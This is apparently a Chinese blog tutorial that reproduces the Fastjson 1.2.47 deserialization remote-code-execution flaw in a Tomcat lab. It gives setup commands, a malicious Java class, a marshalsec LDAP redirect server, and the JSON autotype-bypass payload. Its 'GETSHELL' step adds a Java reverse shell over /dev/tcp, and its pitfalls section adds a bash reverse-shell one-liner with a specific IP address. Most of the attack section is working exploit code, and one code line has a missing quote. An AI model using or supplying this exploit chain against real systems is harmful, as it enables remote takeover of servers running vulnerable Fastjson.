(环境搭建+复现)Fastjson1.2.47版本反序列化漏洞复现

0x00 简介

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

0x01 漏洞概述

Fastjson1.2.47反序列化漏洞

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

0x02 影响版本

Fastjson1.2.47以及之前的版本

0x03 环境搭建

所需资源取自我Sven师傅:

unbutu&kali安装jdk:jdk8u181

链接: https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven

tomcat下载:

链接:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

Fastjson1.2.47:

链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven

工具:marshalsec,需要用mvn打包一下,

github:https://github.com/mbechler/marshalsec

链接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取码: sven

方法一:使用docker搭建tomcat

1、安装Docker

yum install docker             

2、拉取官方镜像

docker pull tomcat

3、映射到我服务器8080端口

docker run --name tomcat -p 8080:8080 -d tomcat

4、访问

http://ip:8080/

5、将fastjson环境安装在tomcat上

这里我直接复制到tomcat的webapps目录下

docker cp fastjson1.2.47  tomcat:/usr/local/tomcat/webapps/

①将jdk1.8.0_181复制到tomcat的/usr/java目录下

②解压tar -xzvf

可使用docker exec -i -t tomcat /bin/bash命令查看docker中tomcat的目录

③访问http://ip:8080/fastjson1.2.47/

目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:

至此docker的fastjson反序列化漏洞环境搭建成功。

方法二:本地搭建tomcat

1、下载一个tomcat9

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

2、将此压缩包复制到我的linux服务器上

解压

tar -zxvf apache-tomcat-9.0.27.tar.gz -C /

mv /apache-tomcat-9.0.27 /tomcat9

3、授予tomcat9这个文件夹777权限

chmod -R 777 /tomcat9

4、配置JDK版本及环境变量

export JAVA_HOME=/usr/java/jdk1.8.0_181

export JRE_HOME=/usr/java/jdk1.8.0_181/jre

export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib

export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin

export CATALINA_HOME=/tomcat9

5、启动tomcat

进入tomcat9下的bin目录

./catalina.sh start

最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功。

0x04 漏洞利用

此时/tmp目录

 

1、编译Exploit.java

javac Exploit.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("touch /tmp/qiqi);
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

2、使用python搭建一个临时的web服务

[root@qiqi wordpress]# python -m SimpleHTTPServer  1111

Serving HTTP on 0.0.0.0 port 1111 ...

Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

3、服务器使用marshalsec开启LDAP服务监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

Ps:使用marshalsec工具快捷的开启LDAP

服务。借助LDAP服务将LDAP reference result 重定向到web服务器。

LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。

4、Exploit.class恶意类执行的命令是:

在tmp目录下创建名为qiqi的文件。

5、Burp发包

使用EXP:

{

    "name":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "x":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"ldap://ip:9999/Exploit",

        "autoCommit":true

    }



}

6、此时/tmp目录

7、GETSHELL

同上步骤,不过是用Shell.java文件生成恶意类反弹shell

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell{
    public Shell() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

0x05 修复方式

将Fastjson升级到最新版本

https://github.com/alibaba/fastjson

0x06坑点

1、Docker pull下来的tomcat默认jdk版本是1.8.0_232,需要更改一下docker的jdk版本。(坑了我半天,docker外jdk是1.8.0_181,但是docker中tomcat的启动环境是1.8.0_232)

Docker中,在root用户下将JDK环境变量配置到了/etc/profile中,当时通过source /etc/profile命令使该文件生效,echo $JAVA_HOME时也没有问题,但是重启容器以后就又不生效了。

解决:在/root/.bashrc文件中添加一句source /etc/profile(或者将环境变量的配置放到该文件中)

2、在使用LADP服务反弹shell用的命令不能直接使用

"bash -i >& /dev/tcp/47.101.72.112/10001 0>&1"

3、jdk版本一定要注意!

启动服务之前用 java -version查看自己的jdk版本是否低于以下jdk版本。

参考文章:

http://www.svenbeast.com/post/c0VE5mjC-/#0x03-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

https://blog.csdn.net/lwcaiCSDN/article/details/87862025

https://www.cnblogs.com/moonsoft/p/9264883.html

https://www.cnblogs.com/Welk1n/p/11446519.html

  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 17
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 17
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值